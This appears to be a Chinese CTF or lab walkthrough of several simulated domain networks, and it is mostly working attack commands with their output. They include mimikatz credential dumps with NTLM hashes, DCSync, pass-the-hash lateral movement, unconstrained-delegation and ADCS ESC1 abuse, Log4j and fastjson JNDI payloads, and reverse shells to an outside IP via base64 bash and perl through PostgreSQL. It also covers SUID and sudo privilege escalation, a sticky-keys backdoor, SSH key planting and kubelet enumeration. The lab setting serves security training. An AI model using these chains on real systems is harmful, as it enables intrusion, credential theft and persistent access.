	 * Password : 5d a4 cb 03 b3 3b af 7d 42 ff 3c da 4b 37 2a 81 2f 25 99 f1 c2 74 3a a9 6c 32 5b 26 04 01 85 7c 1d 76 f3 87 71 83 97 c2 29 5c 90 a5 39 2d d9 54 82 81 d0 23 1b 49 fd 94 fb 2c 28 52 74 5e 44 c0 0a 83 ec 5b f7 ba 86 aa ad b4 a0 95 4b 0f 0d f6 b1 c0 09 4c a9 99 88 2b 1e 01 30 53 87 1a 7f 8c 14 9a 25 ed a1 0d 9a 9b 71 8e 26 82 ea b8 b2 6c fa da 01 8b 57 e5 ee e0 8c 52 cb f3 2d e1 2b bb be de 86 03 bc 1f ce e0 f7 0a 8d ca d0 a9 9c 83 91 28 5d f7 79 45 68 cd a7 20 47 c3 e1 58 a6 b2 e5 83 94 c6 44 fa a0 03 0c d6 25 b7 70 89 a3 77 24 e1 7f 1a 81 0d 6e 16 0b 74 39 03 e3 c5 17 11 34 97 5a 6a 87 1d 74 5e e9 eb 83 97 6e f5 ba 11 4d 75 c8 26 81 eb 43 3f 8d ec f8 da 31 56 83 c8 83 ab 8b 3d 34 b8 e5 b6 a1 b9 f3 6a 70 38 9c 9f 
	ssp :	
	credman :
Authentication Id : 0 ; 104333 (00000000:0001978d)
Session           : Service from 0
User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2026/3/12 19:56:15
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
	msv :	
	 [00000003] Primary
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * NTLM     : 22c7f81993e96ac83ac2f3f1903de8b4
	 * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
	 * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
	tspkg :	
	wdigest :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :

用bloodhound对域环境进行信息收集

1
proxychains4 -q python3 bloodhound.py -u "XIAORANG-EXC01$" --hashes f37e71617489d914f5a186ae7c646d14:f37e71617489d914f5a186ae7c646d14 -d xiaorang.lab -dc XIAORANG-WIN16.xiaorang.lab -c all --dns-tcp -ns 172.22.3.2 --auth-method ntlm --zip

在 Active Directory 环境中，安装了 Exchange Server 后会添加一个名为 Microsoft Exchange Security Groups 的 OU，其中包括两个特殊的组：Exchange Trusted Subsystem 和 Exchange Windows Permission。如果获得了这两个组内任意用户的控制权限，就能够继承该组的 WriteDACL 权限，进而修改域对象的 ACL，最终实现利用 DCSync 导出域内所有用户 hash。

添加DCsync

1
proxychains4 python dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :f37e71617489d914f5a186ae7c646d14 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

然后用secretsdump哈希

1
proxychains4 python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

观察到Administrator的hash

1
xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb:::

直接横向拿shell了

1
proxychains4 python3 wmiexec.py xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2

最后剩一个flag3,dump邮件内容，用到PTH_Exchange

1
proxychains4 python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download

有个加密的压缩包，eml文件提示密码是手机号码

1
2
3
zip2john secret.zip >zip.txt
tail -n +2 data.csv | cut -d',' -f3 > 1.txt
john --wordlist=1.txt zip.txt

爆出密码解压就拿到flag3了

Delegation

访问是cmseasy,扫描目录可以得到/admin，是后台界面，弱口令admin/123456登入

模板这里可以修改index.html,直接弹shell

连上之后是www-data权限要提权

1
find / -perm -u=s -type f 2>/dev/null

GTFO找一下这个diff看看，diff可以任意文件读

1
diff --line-format=%L /dev/null /home/flag/flag01.txt

uname -m查看到是32位，传fscan和stowaway

1
2
3
172.22.4.7 DC01
172.22.4.19 FILESERVER
172.22.4.45 WIN19

先内网穿透一下，前面的hint提示WIN19/Adrian和rockyou，说明要爆密码

1
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19

最后爆出来babygirl1,远程桌面连接提示密码已过期，所以还是用rdesktop

1
proxychains4 rdesktop 172.22.4.45 -r disk:share=/tmp

登进去之后桌面有一个PrivescCheck

这里html存放扫描结果

这里说是普通用户对注册表有写权限，也就是对修改路径为恶意程序来提权，这里用cs生成一个

然后执行powershell命令

1
2
3
4
5
6
PS C:\Users\Adrian\desktop> reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\beacon.exe" /f
操作成功完成。
PS C:\Users\Adrian\desktop> reg query "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v ImagePath

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\gupdate
    ImagePath    REG_EXPAND_SZ    C:\Users\Adrian\Desktop\artifact.exe

然后启动gupdate服务

1
cmd /c "sc start gupdate"

这里非常奇怪连不上cs，换网上打法打粘滞键提权了

1
msfvenom -p windows/x64/exec cmd="C:\windows\system32\cmd.exe /c C:\Users\Adrian\Desktop\shift.bat" --platform windows -f exe-service > evil.exe

然后新建shift.bat

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

然后执行命令

1
2
3
4
## 修改注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\evil.exe" /f
## 重启服务
sc start gupdate

回到锁定界面，然后按五下shift，接下来创一个新用户，添加到管理员组再登入

1
2
net user 0d00 0d000721 /add
net localgroup administrators 0d00 /add

然后就是横向了，先获取域信息，上传mimikatz

1
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Authentication Id : 0 ; 28018 (00000000:00006d72)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 2026/3/13 20:46:59
SID               : S-1-5-96-0-1
        msv :
         [00000003] Primary
         * Username : WIN19$
         * Domain   : XIAORANG
         * NTLM     : 034d08b9bfcda6125f7f8604c6f9d7a7
         * SHA1     : 2d8d749e8f2da3ad77f6567ef0cf066aa93ca97b
        tspkg :
        wdigest :
         * Username : WIN19$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : WIN19$
         * Domain   : xiaorang.lab
         * Password : 88 16 91 2b ff 34 91 3e 93 a3 2a 91 75 e3 f4 6c 63 cc 36 1a 48 1a 4b 2d 4f f1 24 30 df 16 57 27 ec ae 28 ac bc cf ff 0c 4f 66 bd dd c4 af ad 47 f9 48 3f df b8 1d 81 fa 87 2f 9c 9f 83 bc 51 b3 02 8e 95 37 a1 b8 7e 86 6b 5c 15 2b f8 34 d9 3d 3a 29 ca f9 ec f7 55 ca 61 0f 19 19 32 58 cd 68 a2 dc f3 60 e8 80 54 81 11 e2 93 6a 62 d5 68 06 f6 46 1e 59 b7 13 fa cf a5 29 e6 50 bc 48 ad 8f 4a 62 8e 16 ea 11 74 d3 0d 27 51 00 a2 49 62 31 8e 8b a0 fb 53 d0 df 48 65 5d d6 cd ac 20 5a d3 aa 56 6a 8a 82 47 00 1a c0 56 37 0d e5 1e c3 8b c7 8f c0 4c 1b 24 43 bc 47 61 77 da ff 99 44 cd 53 50 59 3d 9a 5c 11 ad 01 1e 05 86 22 b0 aa 40 ac bc 4a 50 59 89 07 f2 95 cd 42 79 49 31 fb 91 47 ae 56 f9 70 f9 51 d8 de 72 7b 23 2d 23 a7 3e
        ssp :
        credman :

得到WIN19$的ntlm034d08b9bfcda6125f7f8604c6f9d7a7

1
proxychains4 -q python3 bloodhound.py -u "WIN19$" --hashes 034d08b9bfcda6125f7f8604c6f9d7a7:034d08b9bfcda6125f7f8604c6f9d7a7 -d xiaorang.lab -dc DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip

依旧拿这个bloodbound去分析域内信息

WIN19 和 DC01 都存在非约束性委托，这里利用非约束性委派

这里先利用Rubeus.exe监听TGT

1
Rubeus.exe monitor /interval:1 /filteruser:DC01$

然后用前面拿到的哈希触发DC01回连,这里的dfscoerce.py得去git下DFSCoerce

1
proxychains4 python3 dfscoerce.py -u "WIN19$" -hashes :034d08b9bfcda6125f7f8604c6f9d7a7 -d xiaorang.lab WIN19 172.22.4.7

把这一坨base64保存下来,然后给它解码保存成DC.kirbi

1
certutil -f -decode base64.txt DC.kirbi

然后使用mimikatz进行DCSync

1
mimikatz.exe "kerberos::purge" "kerberos::ptt DC.kirbi" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

拿到Administrator的hash

1
Administrator   4889f6553239ace1f7c47fa2c619c252

最高权限拿下现在直接读fileserver的flag

1
proxychains4 crackmapexec smb 172.22.4.19 -u administrator -H4889f6553239ace1f7c47fa2c619c252 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

拿域控flag

1
proxychains4 crackmapexec smb 172.22.4.7 -u administrator -H4889f6553239ace1f7c47fa2c619c252 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"

Certify

这个框架存在log4j漏洞，打jndi弹shell,【vulhub】Log4j2：CVE-2021-44228漏洞复现_vulhub cve-2021-44228-CSDN博客

1
java -jar JNDIExploit-2.0-SNAPSHOT.jar -i ip

然后请求

1
/solr/collections?action=${jndi:ldap://ip:1389/Basic/ReverseShell/ip/2333}

这里不知道为啥弹不到shell，换低版本的试试，还是不行

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNi4yMTIuMTUwLjE5OC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A 36.212.150.198

最后换这个用启动时给的恶意类打通了

1
/solr/admin/cores?action=${jndi:ldap://36.212.150.198:1389/hdymgf}

sudo -l查看信息

1
2
3
4
5
6
7
8
solr@ubuntu:/opt/solr/server$ sudo -l
sudo -l
Matching Defaults entries for solr on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User solr may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/grc

grc查看一下提权命令

1
2
sudo grc --pty /bin/sh
python3 -c 'import pty;pty.spawn("/bin/bash")' #交互shell

然后root目录下拿flag1

然后就是古法扫内网了

1
2
3
4
172.22.9.26 winServer 2016
172.22.9.7 DC域控 
172.22.9.47 fileserver
172.22.9.19 本机

然后内网穿透完，探测一下这个fileserver

列出共享资源

1
proxychains smbclient -L //172.22.9.47

看一下这个fileshare

1
proxychains smbclient -L //172.22.9.47/fileshare

这边提示SPN，把这个db也拿下来看看

navicat导出有引号，我们脚本去除

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys
 
# 检查是否提供了文件名参数
if len(sys.argv) != 2:
    print("Usage: python eraser.py <filename>")
    sys.exit(1)
 
# 获取命令行参数中的文件名
filename = sys.argv[1]
 
# 读取文件内容
with open(filename, 'r', encoding='utf-8') as file:
    content = file.read()
 
# 删除所有双引号
content = content.replace('"', '')
 
# 将处理后的内容写回原文件
with open(filename, 'w', encoding='utf-8') as file:
    file.write(content)
 
print(f"所有双引号已删除，并将结果保存回 {filename}")

现在就有用户名和密码了，可以用来爆破

1
proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p passwd.txt --continue-on-success

得到

1
2
xiaorang.lab\zhangjian:i9XDE02pLVf
xiaorang.lab\liupeng:fiAzGwEMgTY 

尝试rdp连接都失败了，前面提示打SPN了

1
2
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/liupeng:fiAzGwEMgTY

得到zhangxia和chenchen两个人的SPN票据

利用hashcat进行破解

1
hashcat -a 0 -m 13100 zhangxia.txt /usr/share/wordlists/rockyou.txt

得到两个用户的密码

1
2
zhangxia/MyPass2@@6
chenchen/@Passw0rd@

rdp连接，啥也没有，而且还都是低权限，按照网上流程正常来说都是先利用 Certify 来查找AD CS模板相关的漏洞

1
.\Certify.exe find /vulnerable

可以找到一个易受攻击的证书模板 XR Manager，使用该模板为 XIAORANG\Administrator 注册证书

1
.\Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator

可以得到一个pem格式的证书，转成pfx格式

1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

然后用到Rubeus使用 cert.pfx 作为 administrator 身份凭证申请TGT

1
\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:abc@123 /ptt

导出然后拿mimikatz拿hash

然后kali有个certipy-ad工具可以识别证书漏洞

1
proxychains4 certipy-ad find -u 'zhangxia@xiaorang.lab'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout

发现ESC1漏洞，这里改一下/etc/hosts防止后续利用超时

1
172.22.9.7 xiaorang.lab

然后就是利用ESC1拿administrator的证书

1
proxychains4 certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'

然后拿生成的pfx得到administrator的hash

1
proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7

拿下后续两个flag

1
proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26 -codec gbk

1
proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7

Hospital

啥也没扫出来，扫一手目录

heapdump泄露，直接下载下来，用jdumpspider分析

发现shirokey，直接一把梭

注入冰蝎马，然后发现是低权限需要提权

1
find / -perm -u=s -type f 2>/dev/null

注意到这里有一个vim.basic,由于冰蝎的shell并不是交互式的，所以这里先弹个shell,用python转交互式

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

这里其实可以直接用python提权

1
vim.basic  -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

然后这里学习一下怎么写ssh公钥，linux上面的打法是

1
2
3
4
5
6
7
8
#自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

ssh -i ~/.ssh/id_rsa root@靶机ip

xshell的方法使用 Xshell 8 进行 Linux 服务器公钥私钥登录_xshell8产品密钥-CSDN博客

生成ssh公钥后上传到靶机

1
cat id_rsa_4096.pub >> /root/.ssh/authorized_keys

然后就跟着上面教程就连上了

然后传fscan扫一下内网

1
2
3
172.30.12.5 本机
172.30.12.6 nacos
172.30.12.236 医院后台管理平台

用stowaway内网穿透，然后proxifier代理本机，这里准备先打这个nacos,有现成工具

注入内存马

然后剩最后一台，我们访问看看,利用bp插件可以探测出fastjson,这个工具的原理大概是打bcel恶意字节码rce,这里我们只需要改请求头内容就行

然后依旧写ssh公钥连这一台，方便后续操作,由于他这个好像不同外网，我们只能在前面web1那台机子起监听，然后这台wget

1
2
wget http://172.30.12.5:2333/rsa2.pub
cat rsa2.pub >> /root/.ssh/authorized_keys

然后直接连上

发现是双网卡，上传fscan看看，扫一波172.30.54.0/24

扫到一个Grafana,这里依旧利用stowaway进行二级代理

web3那台跟之前一样

1
./linux_x64_agent -c 172.30.12.5:7070 -s hack 

上面显示创建了新节点了，我们切换到1节点

1
2
3
(node 0) >> back
(admin) >> use 1
(node 1) >> socks 7788

这里用工具探测一下漏洞grafanaExp

1
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000

得到账号密码postgres / Postgres@123

然后proxifier配代理链,不过我这里配完了很奇怪连不上，换kali打

1
proxychains4 -q psql -h 172.30.54.12 -U postgres -W  

先改root密码

1
ALTER USER root WITH PASSWORD '123456';

然后就是反弹shell，在web3那台机器起监听，这里用perl脚本弹shell

1
2
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; /*创建命令执行函数*/
select system('perl -e \'use Socket;$i="172.30.54.179";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

其中libc的路径只能靠猜

1
2
3
4
5
/lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6
/lib64/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6

拿到shell但是是低权限，sudo -l查看一手

psql提权

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo /usr/local/postgresql/bin/psql
#输入前面改的密码123456，这里拿到psql里面的root权限，不是外面的
\?
!/bin/bash

Rivulet

信息收集

1
2
3
4
5
6
7
8
9
8.146.235.49:22 open
8.146.235.49:2379 open
8.146.235.49:10250 open
8.146.235.49:8080 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle https://8.146.235.49:10250 code:200 len:104    title:None
[*] WebTitle http://8.146.235.49:8080  code:302 len:0      title:None 跳转url: http://8.146.235.49:8080/login;jsessionid=A801E03E029E58F644EBB920FEA37E26
[*] WebTitle http://8.146.235.49:8080/login;jsessionid=A801E03E029E58F644EBB920FEA37E26 code:400 len:277    title:None

10250端口没法直接访问，但是这个是k8s的常用端口，8080端口是个java服务,看起来是shiro，但是工具梭哈没结果

admin/admin登入，有个留言功能，抓包是json格式的，想到打fastjson,dnslog炸了，用Interactsh | Web Client

1
{"@type":"java.net.InetSocketAddress"{"address":,"val":"wxgdolnimumjztxypzjhsni7xikh0qyu1.oast.fun"}}

收到了，接下来尝试jndi拿shell，这里用<=1.2.47的缓存绕过通用payload打

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://vps:1389/ygktlx",
    "autoCommit":true
  }
}

nc起个监听就拿到shell了,然后内网扫描还是前面一样的结果,直接搭代理

然后直接读pods

1
proxychains4 curl -k https://172.17.0.1:10250/pods

能读到一大坨东西

1
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-proxy-j874v","generateName":"kube-proxy-","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-proxy-j874v","uid":"84ee99bb-d025-4b62-a2dd-44012d40d1e3","resourceVersion":"7009","creationTimestamp":"2026-04-16T08:19:40Z","labels":{"controller-revision-hash":"844c78dc9","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-07-14T12:53:24.697704232Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"ce02234e-3c04-4cd6-bd21-c2c04ec22234","controller":true,"blockOwnerDeletion":true}]},"spec":{"volumes":[{"name":"kube-proxy","configMap":{"name":"kube-proxy","defaultMode":420}},{"name":"xtables-lock","hostPath":{"path":"/run/xtables.lock","type":"FileOrCreate"}},{"name":"lib-modules","hostPath":{"path":"/lib/modules","type":""}},{"name":"kube-proxy-token-kbw4r","secret":{"secretName":"kube-proxy-token-kbw4r","defaultMode":420}}],"containers":[{"name":"kube-proxy","image":"registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5","command":["/usr/local/bin/kube-proxy","--config=/var/lib/kube-proxy/config.conf","--hostname-override=$(NODE_NAME)"],"env":[{"name":"NODE_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"spec.nodeName"}}}],"resources":{},"volumeMounts":[{"name":"kube-proxy","mountPath":"/var/lib/kube-proxy"},{"name":"xtables-lock","mountPath":"/run/xtables.lock"},{"name":"lib-modules","readOnly":true,"mountPath":"/lib/modules"},{"name":"kube-proxy-token-kbw4r","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeSelector":{"beta.kubernetes.io/os":"linux"},"serviceAccountName":"kube-proxy","serviceAccount":"kube-proxy","nodeName":"web","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["web"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"key":"CriticalAddonsOnly","operator":"Exists"},{"operator":"Exists"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priorityClassName":"system-node-critical","priority":2000001000,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T08:19:40Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:27Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:27Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T08:19:40Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-04-16T08:19:40Z","containerStatuses":[{"name":"kube-proxy","state":{"running":{"startedAt":"2026-07-14T12:53:27Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:51Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://c326f93b41399ca58a0f908c4f73c348dcb15c8510d7f859318ad6c680d80ad0"}},"ready":true,"restartCount":5,"image":"registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-proxy@sha256:166939d1b8d0988d675a027f459e40fbded092887905cc1b62b7e4cb67d493c5","containerID":"docker://48df4ef8b8715689797003d2b1a893bae310c346917859f23f95861a736b81a6","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"etcd-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/etcd-web","uid":"5a5c733754817033fbac18a841a4281f","creationTimestamp":null,"labels":{"component":"etcd","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"5a5c733754817033fbac18a841a4281f","kubernetes.io/config.seen":"2026-07-14T20:52:53.978329845Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"etcd-certs","hostPath":{"path":"/etc/kubernetes/pki/etcd","type":"DirectoryOrCreate"}},{"name":"etcd-data","hostPath":{"path":"/var/lib/etcd","type":"DirectoryOrCreate"}}],"containers":[{"name":"etcd","image":"registry.aliyuncs.com/google_containers/etcd:3.3.15-0","command":["etcd","--advertise-client-urls=https://192.168.1.56:2379","--cert-file=/etc/kubernetes/pki/etcd/server.crt","--client-cert-auth=true","--data-dir=/var/lib/etcd","--initial-advertise-peer-urls=https://192.168.1.56:2380","--initial-cluster=web=https://192.168.1.56:2380","--key-file=/etc/kubernetes/pki/etcd/server.key","--listen-client-urls=https://127.0.0.1:2379,https://192.168.1.56:2379","--listen-metrics-urls=http://127.0.0.1:2381","--listen-peer-urls=https://192.168.1.56:2380","--name=web","--peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt","--peer-client-cert-auth=true","--peer-key-file=/etc/kubernetes/pki/etcd/peer.key","--peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt","--snapshot-count=10000","--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt"],"resources":{},"volumeMounts":[{"name":"etcd-data","mountPath":"/var/lib/etcd"},{"name":"etcd-certs","mountPath":"/etc/kubernetes/pki/etcd"}],"livenessProbe":{"httpGet":{"path":"/health","port":2381,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-07-14T12:53:15Z","containerStatuses":[{"name":"etcd","state":{"running":{"startedAt":"2026-07-14T12:53:19Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://bd6a3baebedcef40afb60505307135c3fcbc18f108db1ac5b6c030b74c3d7e83"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/etcd:3.3.15-0","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/etcd@sha256:12c2c5e5731c3bcd56e6f1c05c0f9198b6f06793fa7fca2fb43aab9622dc4afa","containerID":"docker://d84b0d4cda377d68cfe9b04faa7cec0193fae246f62d539b30335f9e30896f22","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-apiserver-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-apiserver-web","uid":"b269709cbe90ff42cbcdc86d9df1e59c","creationTimestamp":null,"labels":{"component":"kube-apiserver","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"b269709cbe90ff42cbcdc86d9df1e59c","kubernetes.io/config.seen":"2026-07-14T20:52:53.978340266Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/etc/kubernetes/pki","type":"DirectoryOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-apiserver","image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","command":["kube-apiserver","--advertise-address=192.168.1.56","--allow-privileged=true","--authorization-mode=Node,RBAC","--bind-address=192.168.1.56","--client-ca-file=/etc/kubernetes/pki/ca.crt","--enable-admission-plugins=NodeRestriction","--enable-bootstrap-token-auth=true","--etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt","--etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt","--etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key","--etcd-servers=https://127.0.0.1:2379","--insecure-port=0","--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt","--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key","--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname","--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt","--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key","--requestheader-allowed-names=front-proxy-client","--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt","--requestheader-extra-headers-prefix=X-Remote-Extra-","--requestheader-group-headers=X-Remote-Group","--requestheader-username-headers=X-Remote-User","--secure-port=6443","--service-account-key-file=/etc/kubernetes/pki/sa.pub","--service-cluster-ip-range=10.96.0.0/12","--tls-cert-file=/etc/kubernetes/p